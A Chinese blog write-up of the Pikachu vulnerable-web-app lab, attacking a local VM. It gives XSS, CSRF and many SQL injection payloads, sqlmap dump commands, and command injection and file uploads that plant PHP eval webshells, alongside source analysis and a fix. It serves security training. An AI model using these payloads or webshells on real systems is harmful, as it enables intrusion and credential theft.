pikachu靶场渗透实战笔记
本文最后更新于 2024-09-20,文章内容可能已经过时。
pikachu靶场渗透实战笔记
实验环境:
攻击机:kali(VMware)(ip:192.168.91.129)
靶机:php51(xmapp搭建的靶场环境)(ip:192.168.91.128)
本地地址:http://192.168.91.128/secenvs/pikachu/
靶场下载地址:
pikachu官网下载
下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
pikachu简介
pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么pikachu可能正合你意。
Pikachu上的漏洞类型列表如下:
- Burt Force(暴力破解漏洞)
- XSS(跨站脚本漏洞)
- CSRF(跨站请求伪造)
- SQL-Inject(SQL注入漏洞)
- RCE(远程命令/代码执行)
- Files Inclusion(文件包含漏洞)
- Unsafe file downloads(不安全的文件下载)
- Unsafe file uploads(不安全的文件上传)
- Over Permisson(越权漏洞)
- ../../../(目录遍历)
- I can see your ABC(敏感信息泄露)
- PHP反序列化漏洞
- XXE(XML External Entity attack)
- 不安全的URL重定向
- SSRF(Server-Side Request Forgery)
- More...(找找看?..有彩蛋!)
- 管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~
每类漏洞根据不同的情况又分别设计了不同的子类
同时,为了让这些漏洞变的有意思一些,在Pikachu平台上为每个漏洞都设计了一些小的场景,点击漏洞页面右上角的"提示"可以查看到帮助信息。
pikachu安装
1.先下载pikachu-master,解压到lampp的目录的../htdocs/secenvs/目录下
2.在../htdocs/secenvs/pikachu/inc/下,根据实际情况修改inc/config.inc.php里面的数据库连接配置;
将密码修改为数据库密码(提前建好对应名称的数据库),访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。
访问页面初始化
点击安装,初始化即可安装完成。
打靶流程
一、暴力破解漏洞
暴力破解漏洞概述
1.1 基于表单的暴力破解
前期准备
抓包工具:Burp Suite
浏览器代理插件:SwitchOmega或FoxyProxy
字典:users.txt和pwd.txt。由于是实验环境,故字典随意填写即可。注意其中需要包含任意一组正确的账号密码:admin/123456
、pikachu/000000
、test/abc123
#users.txt
test
admin
root
admin123
#pwd.txt
12381923
password
123456
1234567
漏洞页面
开启burpsuit,抓包拦截
浏览器打开FoxyProxy,账号密码随便输入
页面中右键(发送到Intruder)开始暴力破解。
payload set 1用户:
payload set 2 密码:
开始爆破
点击右边的开始攻击按钮即可开始爆破攻击。
密码爆破成功,进行登录
密码爆破成功,用户名admin,密码123456,进行浏览器登录尝试
源代码分析:
文件路径在:vul/burteforce/bf_form.php
通过注释可以知晓,没有验证码和其他访问控制,直接可以爆破。
1.2、验证码绕过(on server)
漏洞页面
由题意可知,比上面多了一个验证码,时抓包可以尝试重放,多点击几次send 然后查看返回结果
先正常填写验证码,密码和用户名随意,抓包后查看
在用户名或者密码更改,验证码不更改的情况下,没有提示验证码错误的信息,说明了验证码可以重复利用,即同一个验证码可以重复使用多次,也就是只要页面不刷新,就可以一直用这个验证码。
开始爆破
直接和第一关一样,发送到爆破模块,可以得到和上面一样的用户名和密码。
admin,123456
源代码分析:
源代码路径:vul/burteforce/bf_server.php
通过注释可以知晓,在验证码验证完成后,没有及时消除seession值,导致验证码可以重复利用。
1.3、验证码绕过(on client)
漏洞页面
正常输入用户名和密码验证码,后弹出了验证码输入错误的提示,验证码来自于js前端。
burp抓包,将验证码的参数填空。
发现提示的是用户名或密码错误,没有校验验证码参数,直接开始爆破即可
开始爆破
源代码分析
源代码文件位置:f12查看前端即可
在前端校验验证码,调过来服务器验证,所以导致出现验证码失效的漏洞。
1.4、token防爆破?
漏洞页面
正常填写用户名和密码,burp抓包后查看。
抓包后发现多出了一个token值,重放无法利用。
经过查找发现是在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,
那么直接拿去burp上开始爆破
开始爆破
ctrl+i 发送到爆破
模式选择 pitchfork 勾选两个参数,一个是密码,一个是token
payload set 1 密码字典
payload set 2 token
选择 Recursive grep(递归提取)
然后来到设置选项 勾选跟随重定向,然后点击正则的 Add
鼠标选中token的值,burp会自动生成正则表达式,不用自己手动输,点击ok
线程选项要更改一下, 设为单线程,然后直接开始爆破
每次爆破的自动带入了当前页面的token,依旧根据长度判断
爆破成功,得到 admin的密码为123456
源代码分析
源代码路径:vul/burteforce/bf_token.php
63行生成token
调用的函数文件:vul/inc/function.php
函数每次调用前都会检查当前session是否有token参数,有的话会先删除掉这个token再重新生成并保存到session中,也就无法重复利用了
二、XSS漏洞
xss漏洞概述
2.1 反射型xss(get)
漏洞页面
漏洞利用
输入框输入payload
<script>alert(1)</script>
输入到一半的时候发现输入不了了,F12打开页面源代码查看发现原来是限制了字数,修改后,重新输入即可。
点击submit提交后弹出js窗口,利用成功。
源代码分析
文件路径 vul/xss/xss_reflected_get.php
查看源代码可知,提交get参数上来的时候,没有做任何过滤处理,导致了xss漏洞。
顺带一提,查看源代码的时候发现有彩蛋,页面中输入kobe提交后会出现如下:
作者是牢大的粉丝。。。。
2.2 反射型xss (post)
漏洞页面
漏洞利用
一个登录框,直接根据我们上面爆破到的用户名跟密码登录即可
(用户名:admin,密码:123456)
登录进去后输入框输入pyload
<script>alert(1)</script>
源代码分析
源代码文件位置:
vul/xss/xsspost/xss_reflected_post.php
上面一关唯一不同的就是传递的方式有GET转为了POST,同样也是无任何过滤直接返回到前端导致了xss漏洞。
2.3 存储型XSS
漏洞页面
漏洞利用
输入框直接输入payload
<script>alert('hello')</script>
源代码分析
源代码文件位置:
vul/xss/xss_stored.php
查看源代码可知,页面无过滤,将值传入数据库,在数据库中取值,由于没有过滤条件造成存储型XSS, 每次当不同的用户访问这个留言板时, 都会触发这个js代码, 因为是存储在数据库里(存储型)。
彩蛋:delete的sql注入
DOM型XSS
漏洞页面
漏洞利用
将传递的值当作了标签的href属性,直接输入payload
<a href='#' onclick="alert(1)">'>点击</a>
利用了DOM将字符串进行了拼接并把值给a标签的href,可以利用已知条件构建点击事件的效果为弹窗,弹窗内容为1
源代码分析
源代码文件位置:
vul/xss/xss_dom.php
通过源代码可知,字符串进行了拼接并把值给a标签的href,从而造成了DOM型的XSS漏洞。
同时可以使用注释给出的payload:
'><img src="#" onmouseover="alert('xss')">
' onclick="alert('xss')">
列如使用第二个payload执行的时候会在源代码中拼接成如下的样子,'>'这个正好给注释掉了,点击后就会造成XSS漏洞。
DOM型XSS-X
漏洞页面
漏洞利用
一样使用上一关的几个payload即可
' onclick="alert('xss')">
点击让往事随风,弹出窗口后会消失,他真的我哭死。。。
源代码分析
源代码文件位置:
vul/xss/xss_dom_x.php
通过源代码可知,和上一关一样,只是多出了一些字段而已。
xss之盲打
漏洞页面
漏洞利用
上面的输入框输入payload
<script>alert(1)</script>
输入构造语句后发现完全不显示在页面上
查看源代码发现是post请求,再根据提示登录后台登录地址
http://192.168.91.128/secenvs/pikachu/vul/xss/xssblind/admin_login.php
用之前爆破出来的用户名和密码登录后,发现弹窗
源代码分析
源代码位置:
vul/xss/xssblind/xss_blind.php
可以看到用post提交的
vul/xss/xssblind/admin.php后台登录页面
xss之过滤
漏洞页面
正常输入payload测试
<script>alert(1)</script>
点击url无用
大小写绕过,即可
<ScRiPt>alert(1)</ScRiPt>
源码分析
源代码文件位置
vul/xss/xss_01.php
可以看到源代码中使用了正则表达式对 <script
字段进行了过滤(替换为空),但是没有替换大小写的过滤,所以直接使用大小写即可绕过。
xss之htmlspecialchars
漏洞页面
漏洞利用
直接在输入框中输入pyload:
' onclick='alert(123)'
源代码分析
源代码文件位置:
vul/xss/xss_02.php
可以看到源代码中使用了 htmlspecialchars
对字段进行了处理,这个函数会过滤简括含号 ()
,但是 htmlspecialchars
默认不会对 '
进行处理,所以在payload上加入单引号就可绕过
xss之href输出
漏洞页面
漏洞利用
输入框中输入payload:
使用伪协议:
javascript://%0aprompt(1)//
源代码分析
源代码文件位置:
vul/xss/xss_03.php
查看源代码,可以知晓消息输出在a标签的href属性,所以可以使用伪协议进行绕过。
同时,还添加了一些过滤措施,只允许使用http和https,并用htmlspecialchars进行处理,这个函数会过滤简括含号
小彩蛋
啥也不输入直接在输入框中提交:
输入www.baidu.com在输入框中提交:
xss之js输出
漏洞页面
小彩蛋
根据提示输入tmac
漏洞利用
关卡考点在js上,需要使用单引号闭合掉前面的js,再插入XSS。
在输入框输入payload
'-prompt(1123)-'
点击确定后
源代码分析
源代码位置:
vul/xss/xss_04.php
查看源代码可知,在JS的输出点应该使用\对特殊字符进行转义,进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。所以可以在前端构造payload使JS进行闭合,从而构造XSS攻击。
三、CSRF漏洞
CSRF漏洞概述
3.1 CSRF(get)
漏洞页面
漏洞利用
根据提示输入用户名和密码进行登录。
点击修改个人信息,修改地址为hello,burp抓包查看。
http://192.168.91.128/secenvs/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=hello&email=vince%40pikachu.com&submit=submit
构造payload(url):(修改地址为helloword的)
http://192.168.91.128/secenvs/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=helloword&email=vince%40pikachu.com&submit=submit
假设登录的是受害者,受害者在登录状态下点击了攻击者构造的url后,出现如下:
如图,受害者的地址被改为helloword,即可完成CSRF攻击(get型的)
3.2 CSRF(post)
漏洞页面
漏洞利用
同样,根据提示输入用户名和密码进行登录
修改地址,burp进行抓包查看
抓包后发现,URL不再显示修改参数,所以无法再使用通过URL来伪造请求进行修改构造CSRF,但是通过抓包可以知道本页面中有的标签以及name,方便后面构造表单时使用
构造CSRF的poc
抓包页面右键选择Engagement tools(相关工具) => Generate CSRF PoC(生成CSRF poc)
点击复制html,模拟登录的受害者在浏览器点击html后,显示如下内容:
在HTTP历史纪录中测试是否成功发出了预期的请求并执行了相应操作。
可以看到地址信息被修改,至此完成CSRF (post型的)的攻击流程。
3.3 CSRF Token
漏洞页面
漏洞利用
同样使用上述提示的用户名和密码登录到后台
修改个人信息后,burp抓包
发现存在token验证,构造一般的PoC肯定不行。在这里用到插件“CSRF Token Tracker”,在“Extender”的“BApp商店”里面即可下载安装:
新增一条
将上文的数据包发送到“Repeater”,发送数据包,查看能否修改:
插件页面出现了对应的token值
Repeater页面点击“Follow redirection”(跟随重定向),再次修改发现修改成功:
在网页中验证:
四、SQL注入漏洞
SQL注入漏洞概述
4.1 数字型注入(post)
漏洞页面
漏洞利用
查看页面是一个下拉菜单,在页面中无法注入,通过burp抓包看看
下拉菜单,选择id=1,burp抓包
发送到重放模块,修改id=1',发送查看
页面报错,说明存在SQL注入
id=1
id=2 页面返回不一样的内容
id=2-1 页面返回跟页面1一样的内容,说明后端执行了2-1,所以返回了id=1的内容,判断得知这是一个数字型的注入
#判断后端的字段数
id=1 order by 1-- - 正常返回
id=1 order by 2-- - 正常返回
id=1 order by 3-- - 报错
#说明字段数为3
#判断页面回显数
id=1 union select 1,2-- - 回显1,2,说明1,2两个字段都有回显
#爆库和用户名
id=1 union select user(),database()-- -
#得到用户名为root,使用的数据库为pikachu
#爆表
id=-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()--
#得到数据库pikachu的表为httpinfo,member,message,users,xssblind
#爆字段名(爆users表的里面有密码和用户名等信息)
id=-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
#爆用户名和密码
id=-1 union select user(),group_concat(username,'~',password,0x3c62723e) from users-- -
#0x3c62723e为<br>转码16进制,这里是为了方便查看
4.2 字符型注入(get)
漏洞页面
漏洞利用
根据上一关id=1时查到的用户名vince
直接在输入框中输入payload
vince' and 1=1-- -
由此判断有注入存在是字符型的注入
继续在框里输入payload尝试
#查看有多少字段
vince' and 1=1 order by 2-- -
vince' and 1=1 order by 3-- - 错误,;说明回显位为2位
#查看回显位
vince' and 1=1 union select 1,2-- - 2位回显位
#爆库
vince' and 1=1 union select user(),database()-- -
#使用root用户,pikachu库名
#爆表
vince' and 1=1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#爆出表名httpinfo,member,message,users,xssblind
#爆字段名
vince' and 1=1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
#爆用户名和密码
vince' and 1=1 union select user(),group_concat(username,'~',password,0x3c62723e) from pikachu.users-- -
最终得到的用户名和密码如下:
4.3 搜索型注入
漏洞页面
漏洞利用
在页面中输入payload如下
%vin' and 1=1-- -
vin%' and 1=1#
由此可见,此处有sql注入存在,只是闭合方式变成了#
#猜测字段
vin%' and 1=1 order by 3#
vin%' and 1=1 order by 4# 出错,说明字段位是3位
#爆回显位
vin%' and 1=1 union select 1,2,3#
#回显位1,2,3
#爆库
vin%' and 1=1 union select user(),database(),3#
#爆表
vin%' and 1=1 union select user(),database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
#爆字段
vin%' and 1=1 union select user(),database(),group_concat(column_name) from information_schema.columns where table_name='users'#
#爆用户名和密码
vin%' and 1=1 union select user(),database(),group_concat(username,'~',password,0x3c62723e) from pikachu.users#
最终注入出的用户名和密码如下:
4.4 xx型注入
漏洞页面
漏洞利用
直接在输入框中输入如下尝试:
vince 无报错
vince' 有报错,根据页面返回信息得知是)闭合
输入payload
vince')-- - 无报错
说明可以注入
#猜测字段数
vince') order by 2-- -
vince') order by 3-- - 报错,说明字段数位为2
#爆出页面回显位
vince') union select 1,2-- - 回显位1,2
#爆库和用户名
vince') union select user(),database()-- -
#爆表
vince') union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#爆字段
vince') union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
#爆用户名和密码
vince') union select user(),group_concat(username,'~',password,0x3c62723e) from pikachu.users-- -
最终注入出的用户名和密码如下
4.5 “insert/update”注入
"insert注入"
漏洞页面
漏洞利用
点击页面中的注册按钮,填写注册信息,用burp抓包
测试闭合
sqlusername=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#报错
username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#注册成功,说明是')闭合
SQL语句错误时会报错,可以使用报错注入
构造payload
username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
updatexml报错注入的原理:
updatexml() 函数
UPDATEXML (XML_document, XPath_string, new_value);一:XML_document是String格式,为XML文档对象的名称
二:XPath_string (Xpath格式的字符串)
三:new_value,String格式,替换查找到的符合条件的数据
函数对XPath_string进行查询操作,如符合语法格式要求,用第三个参数替换,对于不符合语法格式要求的,报错并带出查询的结果
updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)
substr(string, start,) 长度大于31即可带出查询结果
#爆表
username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#爆字段
username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#查询到字段password
username=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#查询到字段user
#爆用户名和密码
username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or'#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
#爆出admin用户的用户名和密码
"update注入"
漏洞页面
在页面性别一栏修改后,点击submit,用burp抓包
漏洞利用
#测试闭合
sex=123456' and 1=1#&phonenum=123456&add=123456&email=123456&submit=submit
#报错
sex=123456'' and 1=1#&phonenum=123456&add=123456&email=123456&submit=submit
#不报错
#闭合是'
#爆库
username=123456&password=123456&sex=123456' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit
#爆表
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit
#爆字段
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit
#爆用户名和密码
sex=123456' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123456&add=123456&email=123456&submit=submit
4.6 “delete”注入
漏洞页面
漏洞利用
在留言页面随便留个言,点击submit提交后,跳转进入留言页面,点击删除,burp抓包
找到删除页面http://192.168.91.128/secenvs/pikachu/vul/s?qli/sqli_del.php
#爆库
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
#爆表
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
#爆字段
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)
#爆用户名和密码
http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_del.php?id=66 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)
4.7 “http header”注入
漏洞页面
漏洞利用
页面中随便输入弱密码进行登录,burp抓包后查看
(admin,123456)
通过请求头部也可以向数据库发送查询信息
构造恶意语句可以对数据库进行信息查询
Accept:属于http请求头,描述客户端希望接收的响应body 数据类型
总的来说就是希望服务器返回什么样类型的数据
Content-Type:发送端(客户端|服务器)发送的实体数据的数据类型。
修改Accept:1 无报错,Accept:1' 报错 ,所以这里存在SQL注入点
由于页面报错sql信息,可以使用报错注入
#爆库
Accept: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
#爆表
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
#爆字段
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
#爆用户名和密码
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '
4.8 盲注(base on boolian)--布尔盲注
漏洞页面
漏洞利用
不想手工的话直接上sqlmap或者编写python脚本进行注入
输入用户名和密码点击查询,用sqlmap进行注入
#爆库
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' --current-db
#爆表
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu --tables
#爆出表名member,httpinfo,message,users,xssblind
#爆字段
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu -T users --columns
#爆数据库用户名和密码
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_b.php?name=1234&submit=查询' -D pikachu -T users -C username,password --dump
获取到密码的md5值
选择sqlmap默认字典进行暴力破解,获取到用户名和密码
4.9 盲注(base on time)--时间盲注
漏洞页面
漏洞利用
不想手工的话,一样用sqlmap或者python脚本进行注入
## 方法一:使用sqlmap进行注入
#爆库名
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' --current-db
#爆表
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu --tables
#爆字段
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu -T users --columns
#爆数据
sqlmap -u 'http://192.168.91.128/secenvs/pikachu/vul/sqli/sqli_blind_t.php?name=1234&submit=查询' -D pikachu -T users -C username,password --dump
4.10 宽字节注入
漏洞原理
宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数
对输入'符号进行了转义'
pikachu靶场是addslashes()进行了转义
单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码
利用反斜杠编码为%5c
用%df构成(連)字绕过对 ’符号 的转义就可以进行sql注入
漏洞页面
漏洞利用
在输入框测试注入点:
1好 正常
1好' 出现错误
1好'-- - 正常
#说明有宽字节注入,闭合是'
#汉字随便输什么都可以,这里我用的汉字是好,汉字就代表%df
在漏洞页面的输入框中输入如下payload
#查找字段信息
1好' order by 2-- - 正常
1好' order by 3-- - 出错
#说明字段数位为2位
#爆回显位
1好' union select 1,2-- -
#爆出回显位为1,2
#爆出数据库名和用户名
1好' union select user(),database()-- -
#爆表
1好' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
#爆字段
1好' union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
#这里报错,应该是转义注释掉了
#爆字段
1好' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))-- -
#爆数据
1好' union select username,password from pikachu.users-- -
最终爆出的数据用户名和密码如下:
五、RCE(远程代码执行)漏洞
RCE(远程代码执行)漏洞概述
5.5 exec "ping"
漏洞页面
漏洞利用
测试如下payload在输入框中点击ping
ping localhost
#页面回显信息
ping localhost | ipconfig
#页面没有回显
payload 127.0.0.1 && echo 123
#有回显123
#尝试写入文件
ping 127.0.0.1 | echo "<?php eval($_REQUEST['A'])?>" > ../../../test.php
#成功写入,用蚁剑进行连接即可
#链接地址为:http://192.168.91.128/secenvs/pikachu/vul/rce/test.php
源代码分析
源代码位置
/vul/rce/rce_ping.php
在程序执行22行这段代码的 $_POST[‘ipaddress’]
赋值给了 $ip
,但是后续代码没有经过任何处理就给26行的 shell exec()
函数去执行,导致造成了远程代码执行漏洞。
防御
# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
$check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(count($check) === 4 &&
($check[0] >= 1 && $check[0] <= 255) &&
($check[1] >= 0 && $check[1] <= 255) &&
($check[2] >= 0 && $check[2] <= 255) &&
ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255)
{
if(stristr(php_uname('s'), 'windows')){
$result.=shell_exec('ping '.$ip);
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}else {
// IP地址不合法
die("Invalid IP address!");
}
}
5.6 exec "evel"
漏洞页面
漏洞利用
在输入框输入payload:
phpinfo();
可以看到直接显示出php信息,也可以直接执行系统命令
system("whoami");
源代码分析
源代码位置:
/pikachu/vul/rce/rce_eval.php
查看源码可以发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。
防御
在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。
六、文件包含漏洞
文件包含漏洞概述
6.1 本地文件包含
漏洞页面
漏洞利用
在漏洞页面的下拉框随便选一个点击提交,后观察url地址信息,发现文件显示名称为file1.php
按照设计这些文件都是后台自己存在的文件。但是由于这个我呢见名是前端传向后台的,也就意味着我们可以直接通过url修改这个文件。
由于我的靶机安装在linux上,其中有很多固定的配置文件,我们可以多敲几个…/…/…/…/…/…/…/…/…/跳转到根目录,我们将文件名替换可以查看目标系统文件。
6.2 远程文件包含
远程文件包含漏洞形式和本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程代码。
远程包含漏洞前提,如果使用的是include和require函数,则需要php.ini配置如下(php5.4.34):
allow_url_fopen=on //默认打开
allow_url_include=on //默认关闭
修改lampp的/etc/php.ini即可
漏洞页面
漏洞利用
页面选择一个提交,url显示如图
它实际上提交的是一个目标文件的路径,我们可以改成一个远端的路径,读取远程文件。
在pikachu主目录下的/test文件夹下有个测试文件yijuhua.txt,我们拿他来测试
将文件替换成远程路径,构造url,访问yijuhua.txt
http://192.168.91.128/secenvs/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.91.128/secenvs/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
会自动生成一个yijuhua.php文件
然后我们通过yijuhua.php构造url,发现ipconfig执行了。
七、不安全文件下载漏洞
不安全文件下载漏洞概述
漏洞页面
漏洞利用
正常功能点击球员名字,就可以下载图片。我们以点击牢大名字为例,点击下载后。右键,新建标签页打开文件
我们可以直接修改filename的值去下载其他图片,我们还可以使用目录遍历的方式去修改链接下载敏感文件。
八、不安全文件上传漏洞
不安全文件上传漏洞概述
文件上传漏洞测试流程
1、上传文件,查看返回结果(路径,提示等)
2、尝试上传不同类型的“恶意”文件,比如xx.php文件,分析结果
3、查看html源码,看是否通过js在前端做了上传限制,想办法绕过
4、尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等
5、猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试
client check(客户端check)
漏洞利用
查看漏洞页面发现只能上传图片,尝试上传其他后缀名的文件会显示上传的文件不符合要求,请重新选择。
我们上传牢大试试,嗯,没问题
按F12查看源码
发现是这个onchange()函数对上传的文件做了过滤处理,删掉,试试再上传一句话木马文件试试:
#构造一句话木马,保存位test2.php做上传准备
<?php @eval($_POST['hello']);?>
上传成功,蚁剑进行连接
url:http://192.168.91.128/secenvs/pikachu/vul/unsafeupload/uploads/test2.php
MIME type(服务端check)
MIME(多用途互联网邮件扩展类型),是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图像image等,后面定义具体的种类,常见的MIME类型,比如:超文本标记语言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg
————————————————
通过使用PHP的全局数组$_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是"name",“type”,“size”,“tmp_name"或"error”
漏洞利用
将前一关制作的test2.php一句话木马文件上传尝试,显示如下:
重新上传,使用bp抓包,并且发送到repeater,修改content-type为图片类型,点击发送
显示上传成功,蚁剑连接即可。
getimagesize
漏洞利用
通过制作图片马进行绕过
原理:
getimagesize()
getimagesize():它是php提供的,通过对目标文件的16进制进行读取,通过该文件的前面几个字符串,来判断文件类型。
getmagesize()返回结果中有文件大小和文件类型。
固定的图片文件,十六进制的头部的前面的几个字符串基本上是一样的,比如说png格式的图片,所有png格式的图片前面的十六进制都是一样的。思路:我们就是要通过伪造十六进制的头部字符串来绕过getimagesize()函数,从而达到上传的效果。
准备一张图片,这里我用之前的牢大的遗照,结合之前制作的一句话木马文件进行制作图片马,将两者放在一个文件夹下,通过命令将两个文件合并成一个AAA.png
copy /b kb.png +test2.php AAA.png
将生成的文件AAA.png上传。
虽然成功上传图片,但只访问图片,里面的php代码是执行不了的,所以需要想办法让其执行。
我们结合本地文件包含漏洞,上传图片路径,然后输入url和密码进行蚁剑连接即可。
http://192.168.91.128/secenvs/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.91.128/secenvs/pikachu/vul/unsafeupload/uploads/AAA.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
九、越权漏洞
越权漏洞概述
越权漏洞概述
由于没有用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。
水平越权
漏洞页面
漏洞利用
查看提示给出了用户名和密码
进行登录,有一个功能点击查看个人信息。显示如下
再点击按钮时,向后台提供了一个get请求。提供了当前用户的用户名,然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。
直接显示出lili的信息了。虽然登录的是lucy的账号,但是却返回了lili的信息。
垂直越权
漏洞页面
漏洞利用
查看提示说有两个用户,admin是超级管理员
先登录超级管理员,去执行只有管理员才可以操作的新增账号的功能,用burp抓包。退出登录。登录普通用户,执行新增账号操作。如果成功,则存在垂直越权漏洞。
登录超级管理员,添加用户
填写用户信息后点击创建使用bp抓包
发送到repeater,并且放包,查看数据
退出超级管理员登录,登录普通用户
使用http历史记录查看数据包,找到登录1111用户的数据包。
将普通用户的cookie复制(cookie就是普通用户的登录态),粘贴在重发器中所对应的cookie位置。点击发送后跟随重定向。
这就相当于使用普通账户登录,然后实现了添加用户操作的功能,点击发送后回到页面属性,就可以看到一个新的1111账户,说明这里存在垂直越权漏洞,可以使普通用户具有管理员权限的功能。
十、目录穿越漏洞
目录穿越漏洞概述
